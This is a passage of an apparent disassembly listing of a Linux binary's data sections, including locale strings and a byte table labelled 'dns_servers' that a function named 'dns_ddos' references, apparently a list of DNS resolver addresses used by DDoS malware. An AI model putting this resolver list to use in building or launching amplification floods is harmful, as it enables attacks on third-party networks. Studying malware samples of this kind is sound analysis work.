0 ; db 4Dh ; M db 61h ; a db 72h ; r db 0 ; db 46h ; F db 65h ; e db 62h ; b db 0 ; db 4Ah ; J db 61h ; a db 6Eh ; n db 0 ; db 53h ; S db 61h ; a db 74h ; t db 75h ; u db 72h ; r db 64h ; d db 61h ; a db 79h ; y db 0 ; db 46h ; F db 72h ; r db 69h ; i db 64h ; d db 61h ; a db 79h ; y db 0 ; db 54h ; T db 68h ; h db 75h ; u db 72h ; r db 73h ; s db 64h ; d db 61h ; a db 79h ; y db 0 ; db 57h ; W db 65h ; e db 64h ; d db 6Eh ; n db 65h ; e db 73h ; s db 64h ; d db 61h ; a db 79h ; y db 0 ; db 54h ; T db 75h ; u db 65h ; e db 73h ; s db 64h ; d db 61h ; a db 79h ; y db 0 ; db 4Dh ; M db 6Fh ; o db 6Eh ; n db 64h ; d db 61h ; a db 79h ; y db 0 ; db 53h ; S db 75h ; u db 6Eh ; n db 64h ; d db 61h ; a db 79h ; y db 0 ; db 53h ; S db 61h ; a db 74h ; t db 0 ; db 46h ; F db 72h ; r db 69h ; i db 0 ; db 54h ; T db 68h ; h db 75h ; u db 0 ; db 57h ; W db 65h ; e db 64h ; d db 0 ; db 54h ; T db 75h ; u db 65h ; e db 0 ; db 4Dh ; M db 6Fh ; o db 6Eh ; n db 0 ; db 53h ; S db 75h ; u db 6Eh ; n db 0 ; dword_806BFB0 dd 5 ; DATA XREF: _nl_load_locale+2F8r db 3 ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; aLc_all_0 db 'LC_ALL',0 ; DATA XREF: _nl_load_locale+1Ao aLang_0 db 'LANG',0 ; DATA XREF: _nl_load_locale+53o aLocal db 'local',0 ; DATA XREF: _nl_load_locale+6Eo aSS_0 db '%s/%s',0 ; DATA XREF: _nl_load_locale+CFo aUsrShareLocale db '/usr/share/locale',0 ; DATA XREF: _nl_load_locale+E7o aSSS_0 db '%s/%s/%s',0 ; DATA XREF: _nl_load_locale+ECo aSys_ db '/SYS_',0 ; DATA XREF: _nl_load_locale+13Do aOutOfMemory_3 db 'out of memory',0 ; DATA XREF: xdr_reference+44o aXdr_referenceS db 'xdr_reference: %s',0Ah,0 ; DATA XREF: xdr_reference+59o db 0 ; db 1 ; db 2 ; db 2 ; db 3 ; db 3 ; db 3 ; db 3 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 0 ; db 1 ; db 2 ; db 2 ; db 3 ; db 3 ; db 3 ; db 3 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; _rodata ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data ; Segment permissions: Read/Write _data segment dword public 'DATA' use32 assume cs:_data ;org 806D228h dword_806D228 dd 0 ; DATA XREF: start+2Aw setenv+41r ... dns_servers db 0Ch ; DATA XREF: dns_ddos+176r db 0 ; db 82h ; db 2 ; db 0Ch ; db 1 ; db 6Ah ; j db 5 ; db 0Ch ; db 1 ; db 6Ah ; j db 6 ; db 0Ch ; db 1 ; db 4Ah ; J db 2 ; db 0Ch ; db 66h ; f db 0F0h ; db 2 ; db 0Ch ; db 6Bh ; k db 0B0h ; db 29h ; ) db 0Ch ; db 6Bh ; k db 0B0h ; db 2Ah ; * db 0Ch ; db 6Dh ; m db 6Fh ; o db 2 ; db 0Ch ; db 6Dh ; m db 0F0h ; db 7 ; db 0Ch ; db 6Dh ; m db 0F0h ; db 8 ; db 0Ch ; db 0Bh ; db 94h ; db 0Bh ; db 0Ch ; db 6Fh ; o db 0CBh ; db 7Eh ; ~ db 0Ch ; db 7Fh ;  db 10h ; db 43h ; C db 0Ch ; db 7Fh ;  db 10h ; db 45h ; E db 0Ch ; db 7Fh ;  db 10h ; db 46h ; F db 0Ch ; db 7Fh ;  db 11h ; db 47h ; G db 0Ch ; db 7Fh ;  db 11h ; db 48h ; H db 0Ch ; db 7Fh ;  db 11h ; db 4Ah ; J db 0Ch ; db 0Dh ; db 0E1h ; db 0Bh ; db 0Ch ; db 0Dh ; db 0E1h ; db 0Ch ; db 0Ch ; db 0Dh ; db 0EDh ; db 0Bh ; db 0Ch ; db 0Dh ; db 0F7h ; db 0Bh ; db 0Ch ; db 0Eh ; db 0D6h ; db 15h ; db 0Ch ; db 0Eh ; db 0E1h ; db 0Ah ; db 0Ch ; db 95h ; db 4Eh ; N db 0E2h ; db 0Ch ; db 0Fh ; db 0E2h ; db 1Ch ; db 0Ch ; db 0Fh ; db 0E2h ; db 1Dh ; db 0Ch ; db 10h ; db 0A4h ; db 2 ; db 0Ch ; db 10h ; db 29h ; ) db 5 ; db 0Ch ; db 10h ; db 29h ; ) db 8 ; db 0Ch ; db 10h ; db 29h ; ) db 9 ; db 0Ch ; db 0A1h ; db 0Ah ; db 0FCh ; db 0Ch ; db 0A1h ; db 0C0h ; db 9 ; db 0Ch ; db 0A1h ; db 0E1h ; db 0Ah ; db 0Ch ; db 0A1h ; db 0E1h ; db 0Fh ; db 0Ch ; db 0A1h ; db 60h ; ` db 2 ; db 0Ch ; db 0A1h ; db 60h ; ` db 3 ; db 0Ch ; db 0A2h ; db 80h ; db 18h ; db 0Ch ; db 0A2h ; db 80h ; db 1Ah ; db 0Ch ; db 0A2h ; db 26h ; & db 19h ; db 0Ch ; db 11h ; db 7Eh ; ~ db 28h ; ( db 0Ch ; db 11h ; db 7Eh ; ~ db 29h ; ) db 0Ch ; db 11h ; db 8Eh ; db 1 ; db 0Ch ; db 11h ; db 0A3h ; db 1Dh ; db 0Ch ; db 11h ; db 0C1h ; db 0BCh ; db 0Ch ; db 2 ; db 6 ; db 27h ; ' db 0Ch ; db 14h ; db 0A0h ; db 0E2h ; db 0Ch ; db 15h ; db 0Ch ; db 4 ; db 0Ch ; db 15h ; db 0Ch ; db 9 ; db 0Ch ; db 15h ; db 78h ; x db 2 ; db 0Ch ; db 15h ; db 78h ; x db 3 ; db 0Ch ; db 15h ; db 84h ; db 2 ; db 0Ch ; db 15h ; db 84h ; db 3 ; db 0Ch ; db 15h ; db 89h ; db 0D2h ; db 0Ch ; db 15h ; db 89h ; db 0D3h ; db 0Ch ; db 15h ; db 90h ; db 2 ; db 0Ch ; db 15h ; db 0B0h ; db 0Ah ; db 0Ch ; db 15h ; db 0D7h ; db 1 ; db 0Ch ; db 15h ; db 0E4h ; db 66h ; f db 0Ch ; db 15h ; db 0E4h ; db 67h ; g db 0Ch ; db 15h ; db 20h ; db 2 ; db 0Ch ; db 15h ; db 4 ; db 2 ; db 0Ch ; db 15h ; db 2Dh ; - db 1 ; db 0Ch ; db 15h ; db 4Ch ; L db 0Dh ; db 0Ch ; db 15h ; db 4Ch ; L db 0Eh ; db 0Ch ; db 16h ; db 3Ch ; < db 23h ; # db 0Ch ; db 17h ; db 10h ; db 22h ; " db 0Ch ; db 19h ; db 0F4h ; db 0Bh ; db 0Ch ; db 1Ah ; db 45h ; E db 32h ; 2 db 0Ch ; db 1Ch ; db 0C8h ; db 0Bh ; db 0Ch ; db 1Ch ; db 38h ; 8 db 2 ; db 0Ch ; db 1Ch ; db 38h ; 8 db 3 ; db 0Ch ; db 1Dh ; db 0AFh ; db 2 ; db 0Ch ; db 1Dh ; db 0C2h ; db 6Ch ; l db 0Ch ; db 1Eh ; db 23h ; # db 7Eh ; ~ db 0Ch ; db 20h ; db 90h ; db 0AEh ; db 0Ch ; db 21h ; ! db 0BFh ; db 0Fh ; db 0Ch ; db 22h ; " db 90h ; db 2 ; db 0Ch ; db 23h ; # db 0F5h ; db 6 ; db 0Ch ; db 27h ; ' db 0F1h ; db 85h ; db 0Ch ; db 27h ; ' db 0F2h ; db 85h ; db 0Ch ; db 4 ; db 75h ; u db 2 ; db 0Ch ; db 28h ; ( db 0A2h ; db 4Bh ; K db 0Ch ; db 28h ; ( db 8 ; db 3 ; db 0Ch ; db 29h ; ) db 7Ah ; z db 0Ah ; db 0Ch ; db 29h ; ) db 7Ah ; z db 0Bh ; db 0Ch ; db 29h ; ) db 7Ch ; | db 6 ; db 0Ch ; db 29h ; ) db 7Ch ; | db 9 ; db 0Ch ; db 29h ; ) db 0B6h ; db 0Ah ; db 0Ch ; db 29h ; ) db 0B6h ; db 0Dh ; db 0Ch ; db 29h ; ) db 0B8h ; db 0F1h ; db 0Ch ; db 29h ; ) db 0E0h ; db 25h ; % db 0Ch ; db 29h ; ) db 0EAh ; db 2 ; db 0Ch ; db 29h ; ) db 0EAh ; db 23h ; # db 0Ch ; db 29h ; ) db 0ECh ; db 43h ; C db 0Ch ; db 29h ; ) db 0ECh ; db 44h ; D db 0Ch ; db 29h ; ) db 0EDh ; db 1 ; db 0Ch ; db 29h ; ) db 42h ; B db 8 ; db 0Ch ; db 29h ; ) db 58h ; X db 0D3h ; db 0Ch ; db 29h ; ) db 58h ; X db 8 ; db 0Ch ; db 29h ; ) db 5Dh ; ] db 5 ; db 0Ch ; db 5 ; db 0B3h ; db 14h ; db 0Ch ; db 5 ; db 0B3h ; db 15h ; db 0Ch ; db 6 ; db 79h ; y db 0Ah ; db 0Ch ; db 6 ; db 22h ; " db 2 ; db 0Ch ; db 6 ; db 2Ah ; * db 1 ; db 0Ch ; db 6 ; db 2Ah ; * db 2 ; db 0Ch ; db 7 ; db 0F4h ; db 0Bh ; db 80h ; db 0Ah ; db 2 ; db 5 ; db 80h ; db 64h ; d db 1 ; db 1 ; db 80h ; db 64h ; d db 64h ; d db 1 ; db 80h ; db 64h ; d db 64h ; d db 80h ; db 80h ; db 64h ; d db 66h ; f db 70h ; p db 80h ; db 64h ; d db 66h ; f db 0C9h ; db 80h ; db 64h ; d db 66h ; f db 3 ; db 80h ; db 65h ; e db 65h ; e db 65h ; e db 80h ; db 66h ; f db 8Ah ; db 62h ; b db 80h ; db 66h ; f db 10h ; db 2 ; db 80h ; db 66h ; f db 12h ; db 1Fh ; db 80h ; db 67h ; g db 1 ; db 1 ; db 80h ; db 67h ; g db 0C8h ; db 65h ; e db 80h ; db 68h ; h db 19h ; db 0Ah ; db 80h ; db 68h ; h db 1Eh ; db 11h ; db 80h ; db 68h ; h db 1Eh ; db 3Ch ; < db 80h ; db 69h ; i db 2 ; db 0Ah ; db 80h ; db 69h ; i db 2 ; db 6 ; db 80h ; db 6Dh ; m db 82h ; db 2 ; db 80h ; db 6Dh ; m db 83h ; db 3 ; db 80h ; db 6Dh ; m db 83h ; db 28h ; ( db 80h ; db 6Dh ; m db 0C1h ; db 1 ; db 80h ; db 6Eh ; n db 7Ch ; | db 78h ; x db 80h ; db 6Eh ; n db 84h ; db 63h ; c db 80h ; db 6Fh ; o db 1 ; db 1 ; db 80h ; db 6Fh ; o db 1 ; db 2 ; db 80h ; db 70h ; p db 80h ; db 1 ; db 80h ; db 70h ; p db 81h ; db 0Fh ; db 80h ; db 71h ; q db 1 ; db 3 ; db 80h ; db 71h ; q db 1 ; db 5 ; db 80h ; db 72h ; r db 81h ; db 69h ; i db 80h ; db 72h ; r db 81h ; db 21h ; ! db 80h ; db 72h ; r db 8Eh ; db 6 ; db 80h ; db 73h ; s db 0F9h ; db 1 ; db 80h ; db 73h ; s db 0F9h ; db 2 ; db 80h ; db 76h ; v db 8Dh ; db 20h ; db 80h ; db 76h ; v db 19h ; db 3 ; db 80h ; db 77h ; w db 0A6h ; db 0Eh ; db 80h ; db 77h ; w db 0AFh ; db 0Eh ; db 80h ; db 77h ; w db 28h ; ( db 0Ch ; db 80h ; db 79h ; y db 0C1h ; db 2 ; db 80h ; db 79h ; y db 0C1h ; db 3 ; db 80h ; db 79h ; y db 0C1h ; db 52h ; R db 80h ; db 79h ; y db 6 ; db 2 ; db 80h ; db 79h ; y db 6 ; db 0FDh ; db 80h ; db 7Ah ; z db 80h ; db 18h ; db 80h ; db 7Ah ; z db 81h ; db 2 ; db 80h ; db 7Ah ; z db 0FDh ; db 25h ; % db 80h ; db 7Ah ; z db 0FDh ; db 5Ch ; \ db 80h ; db 7Bh ; { db 2 ; db 13h ; db 80h ; db 7Bh ; { db 3 ; db 5 ; db 80h ; db 7Dh ; } db 13h ; db 0B7h ; db 80h ; db 7Dh ; } db 0FDh ; db 88h ; db 80h ; db 7Dh ; } db 0FDh ; db 0ACh ; db 80h ; db 7Dh ; } db 0FDh ; db 0B7h ; db 80h ; db 7Eh ; ~ db 7Ch ; | db 2 ; db 80h ; db 80h ; db 10h ; db 1 ; db 80h ; db 80h ; db 10h ; db 2 ; db 80h ; db 84h ; db 1 ; db 0C9h ; db 80h ; db 84h ; db 1 ; db 0CAh ; db 80h ; db 86h ; db 30h ; 0 db 2 ; db 80h ; db 87h ; db 0Ch ; db 49h ; I db 80h ; db 87h ; db 14h ; db 64h ; d db 80h ; db 87h ; db 4 ; db 2 ; db 80h ; db 88h ; db 0C0h ; db 0Bh ; db 80h ; db 89h ; db 1 ; db 1 ; db 80h ; db 8Ah ; db 0D5h ; db 0Dh ; db 80h ; db 8Ah ; db 0EEh ; db 9Ah ; db 80h ; db 8Ah ; db 0EEh ; db 12h ; db 80h ; db 8Ah ; db 0F0h ; db 1 ; db 80h ; db 8Ah ; db 0F3h ; db 97h ; db 80h ; db 8Bh ; db 4 ; db 3 ; db 80h ; db 8Bh ; db 6 ; db 1 ; db 80h ; db 8Fh ; db 2 ; db 7 ; db 80h ; db 8Fh ; db 16h ; db 77h ; w db 80h ; db 8Fh ; db 3 ; db 7 ; db 80h ; db 90h ; db 1 ; db 1Ch ; db 80h ; db 90h ; db 32h ; 2 db 16h ; db 80h ; db 92h ; db 1 ; db 7 ; db 80h ; db 92h ; db 30h ; 0 db 7 ; db 80h ; db 93h ; db 80h ; db 53h ; S db 80h ; db 93h ; db 16h ; db 65h ; e db 80h ; db 94h ; db 80h ; db 0Bh ; db 80h ; db 94h ; db 80h ; db 9 ; db 80h ; db 97h ; db 80h ; db 34h ; 4 db 80h ; db 97h ; db 0E0h ; db 6 ; db 80h ; db 98h ; db 1 ; db 1Ah ; db 80h ; db 98h ; db 1 ; db 6 ; db 80h ; db 99h ; db 80h ; db 2 ; db 80h ; db 99h ; db 4 ; db 2 ; db 80h ; db 9Ah ; db 2Ch ; , db 0Ah ; db 80h ; db 9Bh ; db 3 ; db 23h ; # db 80h ; db 9Bh ; db 3 ; db 37h ; 7 db 80h ; db 9Dh ; db 5 ; db 17h ; db 80h ; db 9Eh ; db 1 ; db 1 ; db 80h ; db 9Eh ; db 1 ; db 4 ; db 80h ; db 9Fh ; db 0AEh ; db 0AEh ; db 80h ; db 10h ; db 5 ; db 20h ; db 80h ; db 10h ; db 6 ; db 8 ; db 80h ; db 0A0h ; db 26h ; & db 96h ; db 80h ; db 0A0h ; db 34h ; 4 db 75h ; u db 80h ; db 0A3h ; db 1 ; db 6 ; db 80h ; db 0A4h ; db 8Dh ; db 0Bh ; db 80h ; db 0A4h ; db 8Dh ; db 0Ch ; db 80h ; db 0A9h ; db 0C9h ; db 2 ; db 80h ; db 0A9h ; db 32h ; 2 db 64h ; d db 80h ; db 0AAh ; db 14h ; db 96h ; db 80h ; db 0AAh ; db 14h ; db 2 ; db 80h ; db 0AAh ; db 0F4h ; db 4 ; db 80h ; db 0ABh ; db 1 ; db 1 ; db 80h ; db 0ABh ; db 0ABh ; db 0Ah ; db 80h ; db 0ABh ; db 3 ; db 0Dh ; db 80h ; db 0ACh ; db 1 ; db 1 ; db 80h ; db 0ACh ; db 1 ; db 2 ; db 80h ; db 0ACh ; db 5Ah ; Z db 0Ah ; db 80h ; db 0ADh ; db 0Eh ; db 47h ; G db 80h ; db 0AEh ; db 5 ; db 66h ; f db 80h ; db 0AEh ; db 5 ; db 67h ; g db 80h ; db 0AEh ; db 5 ; db 68h ; h db 80h ; db 0AEh ; db 5 ; db 3Ah ; : db 80h ; db 0AFh ; db 0Dh ; db 10h ; db 80h ; db 0AFh ; db 0Dh ; db 11h ; db 80h ; db 0AFh ; db 0Dh ; db 4Ah ; J db 80h ; db 0AFh ; db 0Dh ; db 5Ch ; \ db 80h ; db 0B0h ; db 0 ; db 0Ch ; db 80h ; db 0B0h ; db 0 ; db 0Dh ; db 80h ; db 0B2h ; db 0Fh ; db 7 ; db 80h ; db 0B2h ; db 0Fh ; db 8 ; db 80h ; db 12h ; db 6Eh ; n db 4 ; db 80h ; db 12h ; db 1Eh ; db 41h ; A db 80h ; db 12h ; db 1Eh ; db 42h ; B db 80h ; db 0B4h ; db 1 ; db 3 ; db 80h ; db 0B4h ; db 2 ; db 9 ; db 80h ; db 0B6h ; db 3Eh ; > db 63h ; c db 80h ; db 0B6h ; db 41h ; A db 6 ; db 80h ; db 0B7h ; db 0Ah ; db 86h ; db 80h ; db 0B7h ; db 73h ; s db 21h ; ! db 80h ; db 0B7h ; db 32h ; 2 db 11h ; db 80h ; db 0B8h ; db 1 ; db 4 ; db 80h ; db 0BAh ; db 6 ; db 67h ; g db 80h ; db 0BBh ; db 16h ; db 81h ; db 80h ; db 0BBh ; db 16h ; db 0C8h ; db 80h ; db 0BCh ; db 1 ; db 6Eh ; n db 80h ; db 0BDh ; db 4 ; db 1 ; db 80h ; db 13h ; db 0 ; db 11h ; db 80h ; db 13h ; db 0 ; db 3 ; db 80h ; db 0BFh ; db 10h ; db 1 ; db 80h ; db 0BFh ; db 30h ; 0 db 0FAh ; db 80h ; db 0C0h ; db 1 ; db 0C1h ; db 80h ; db 0C0h ; db 1 ; db 9 ; db 80h ; db 0C1h ; db 4 ; db 14h ; db 80h ; db 0C1h ; db 40h ; @ db 21h ; ! db 80h ; db 0C2h ; db 0B2h ; db 1 ; db 80h ; db 0C2h ; db 0C6h ; db 5 ; db 80h ; db 0C3h ; db 1 ; db 42h ; B db 80h ; db 0C3h ; db 19h ; db 42h ; B db 80h ; db 0C4h ; db 80h ; db 0E9h ; db 80h ; db 0C5h ; db 2 ; db 3Eh ; > db 80h ; db 0C5h ; db 14h ; db 28h ; ( db 80h ; db 0C5h ; db 1Bh ; db 7 ; db 80h ; db 0C6h ; db 1 ; db 0FAh ; db 80h ; db 2 ; db 0CEh ; db 82h ; db 80h ; db 2 ; db 0DEh ; db 0C7h ; db 80h ; db 0C8h ; db 1 ; db 0C9h ; db 80h ; db 0C8h ; db 0C0h ; db 0CAh ; db 80h ; db 0CDh ; db 1 ; db 2 ; db 80h ; db 0CDh ; db 6Ah ; j db 1 ; db 80h ; db 0CDh ; db 20h ; db 8 ; db 80h ; db 0CDh ; db 7 ; db 1 ; db 80h ; db 0CEh ; db 2 ; db 0FCh ; db 80h ; db 0D2h ; db 0Bh ; db 5 ; db 80h ; db 0D5h ; db 1 ; db 1 ; db 80h ; db 0D5h ; db 8 ; db 7 ; db 80h ; db 0D6h ; db 0F8h ; db 84h ; db 80h ; db 0D6h ; db 4 ; db 1Dh ; db 80h ; db 0D6h ; db 2Eh ; . db 40h ; @ db 80h ; db 0D9h ; db 0Bh ; db 19h ; db 80h ; db 0DAh ; db 0FEh ; db 0Ah ; db 80h ; db 0DAh ; db 0FEh ; db 28h ; ( db 80h ; db 0DAh ; db 1Bh ; db 14h ; db 80h ; db 0DBh ; db 99h ; db 1Fh ; db 80h ; db 0DCh ; db 7Fh ;  db 0D7h ; db 80h ; db 0DCh ; db 2 ; db 7 ; db 80h ; db 0DCh ; db 2 ; db 52h ; R db 80h ; db 0DDh ; db 83h ; db 1 ; db 80h ; db 0DEh ; db 1 ; db 2 ; db 80h ; db 0DFh ; db 20h ; db 23h ; # db 80h ; db 0DFh ; db 6 ; db 9 ; db 80h ; db 0E0h ; db 1 ; db 88h ; db 80h ; db 0E2h ; db 1 ; db 0Bh ; db 80h ; db 0E3h ; db 80h ; db 0A2h ; db 80h ; db 0E3h ; db 80h ; db 18h ; db 80h ; db 0E3h ; db 80h ; db 0FEh ; db 80h ; db 0E3h ; db 94h ; db 0FDh ; db 80h ; db 0E3h ; db 10h ; db 3 ; db 80h ; db 0E4h ; db 1 ; db 0Ah ; db 80h ; db 0E4h ; db 5 ; db 40h ; @ db 80h ; db 17h ; db 1 ; db 4 ; db 80h ; db 17h ; db 0CBh ; db 0Ah ; db 80h ; db 0E6h ; db 1 ; db 31h ; 1 db 80h ; db 0E6h ; db 0Ch ; db 5 ; db 80h ; db 0E7h ; db 80h ; db 0FBh ; db 80h ; db 0E7h ; db 40h ; @ db 1 ; db 80h ; db 0E8h ; db 0 ; db 12h ; db 80h ; db 0E8h ; db 0 ; db 13h ; db 80h ; db 0E9h ; db 3 ; db 1 ; db 80h ; db 0E9h ; db 3 ; db 2 ; db 80h ; db 0EBh ; db 0FBh ; db 0Ah ; db 80h ; db 0EDh ; db 2 ; db 1 ; db 80h ; db 0EEh ; db 2 ; db 26h ; & db 80h ; db 0EFh ; db 1 ; db 1Eh ; db 80h ; db 0F0h ; db 2 ; db 50h ; P db 80h ; db 0F0h ; db 0E5h ; db 12h ; db 80h ; db 0F0h ; db 0E5h ; db 22h ; " db 80h ; db 0F3h ; db 14h ; db 6 ; db 80h ; db 0F3h ; db 15h ; db 10h ; db 80h ; db 0F3h ; db 28h ; ( db 0C1h ; db 80h ; db 0F4h ; db 0C2h ; db 64h ; d db 80h ; db 0F4h ; db 0C5h ; db 20h ; db 80h ; db 0F4h ; db 41h ; A db 1Dh ; db 80h ; db 0F8h ; db 0ABh ; db 32h ; 2 db 80h ; db 0F8h ; db 2 ; db 32h ; 2 db 80h ; db 0F8h ; db 7 ; db 32h ; 2 db 80h ; db 0F9h ; db 1 ; db 1 ; db 80h ; db 0F9h ; db 2 ; db 1 ; db 80h ; db 0F9h ; db 2 ; db 2 ; db 80h ; db 0F9h ; db 0DDh ; db 96h ; db 80h ; db 0FAh ; db 1 ; db 15h ; db 80h ; db 0FAh ; db 14h ; db 2 ; db 80h ; db 0FAh ; db 0FCh ; db 4Ah ; J db 80h ; db 0FCh ; db 78h ; x db 1 ; db 80h ; db 0FDh ; db 0B4h ; db 2 ; db 80h ; db 0FFh ; db 1 ; db 8 ; db 80h ; db 0FFh ; db 11h ; db 2Fh ; / db 80h ; db 0FFh ; db 40h ; @ db 5 ; db 80h ; db 3 ; db 22h ; " db 0BAh ; db 80h ; db 20h ; db 88h ; db 0Ch ; db 80h ; db 20h ; db 88h ; db 9 ; db 80h ; db 20h ; db 0CEh ; db 0Ch ; db 80h ; db 20h ; db 0CEh ; db 9 ; db 80h ; db 20h ; db 21h ; ! db 5 ; db 80h ; db 23h ; # db 0FDh ; db 3 ; db 80h ; db 23h ; # db 20h ; db 1 ; db 80h ; db 27h ; ' db 0D8h ; db 0Ah ; db 80h ; db 2Ah ; * db 2Ah ; * db 18h ; db 80h ; db 2Ah ; * db 5 ; db 4 ; db 80h ; db 2Eh ; . db 9Ah ; db 4Ch ; L db 80h ; db 30h ; 0 db 66h ; f db 65h ; e db 80h ; db 30h ; 0 db 74h ; t db 0C9h ; db 80h ; db 31h ; 1 db 10h ; db 7 ; db 80h ; db 34h ; 4 db 20h ; db 16h ; db 80h ; db 34h ; 4 db 20h ; db 50h ; P db 80h ; db 36h ; 6 db 10h ; db 2 ; db 80h ; db 37h ; 7 db 6 ; db 0Ah ; db 80h ; db 37h ; 7 db 6 ; db 0Bh ; db 80h ; db 3Bh ; ; db 6Fh ; o db 63h ; c db 80h ; db 3Bh ; ; db 10h ; db 14h ; db 80h ; db 3Bh ; ; db 28h ; ( db 8Eh ; db 80h ; db 3Bh ; ; db 40h ; @ db 3Ch ; < db 80h ; db 6 ; db 15h ; db 8 ; db 80h ; db 6 ; db 15h ; db 9 ; db 80h ; db 3Dh ; = db 82h ; db 0E0h ; db 80h ; db 3Dh ; = db 84h ; db 0Fh ; db 80h ; db 3Fh ; ? db 10h ; db 4 ; db 80h ; db 7 ; db 2 ; db 5 ; db 80h ; db 8 ; db 0Ah ; db 0Eh ; db 80h ; db 8 ; db 0Ah ; db 5Ah ; Z db 